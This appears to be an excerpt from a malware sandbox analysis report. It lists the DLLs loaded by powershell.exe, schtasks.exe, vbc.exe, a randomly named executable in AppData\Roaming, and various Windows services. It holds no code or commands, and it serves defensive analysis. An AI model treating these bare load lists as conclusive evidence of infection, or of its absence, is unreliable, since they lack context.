Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\alg.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\alg.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\alg.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\alg.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\alg.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\alg.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\alg.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\alg.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\alg.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\alg.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\alg.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\alg.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\alg.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\alg.exe	Section loaded: webio.dll
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\alg.exe	Section loaded: drprov.dll
Source: C:\Windows\System32\alg.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\alg.exe	Section loaded: ntlanman.dll
Source: C:\Windows\System32\alg.exe	Section loaded: davclnt.dll
Source: C:\Windows\System32\alg.exe	Section loaded: davhlpr.dll
Source: C:\Windows\System32\alg.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\alg.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\alg.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\alg.exe	Section loaded: browcli.dll
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appvpolicy.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appmanagementconfiguration.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: version.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: tapi32.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: credui.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxstiff.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxsresm.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ualapi.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dbghelp.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: mpr.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: secur32.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: mpr.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: secur32.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtctm.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcprx.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtclog.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxclu.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: xolehlp.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxclu.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: resutils.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: resutils.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: comres.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcvsp1res.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxoci.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: oci.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: hid.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\Locator.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\Locator.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\Locator.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\Locator.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\Locator.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\Locator.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\Locator.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: mfplat.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: rtworkq.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: windows.devices.perception.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: mediafoundation.defaultperceptionprovider.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: windows.devices.enumeration.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: structuredquery.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: icu.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: mswb7.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: devdispitemprovider.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: spectrumsyncclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: perceptionsimulationextensions.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: hid.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: holographicruntimes.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: perceptiondevice.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: spatialstore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: esent.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: analogcommonproxystub.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: capabilityaccessmanagerclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: windows.devices.enumeration.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: structuredquery.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: icu.dll
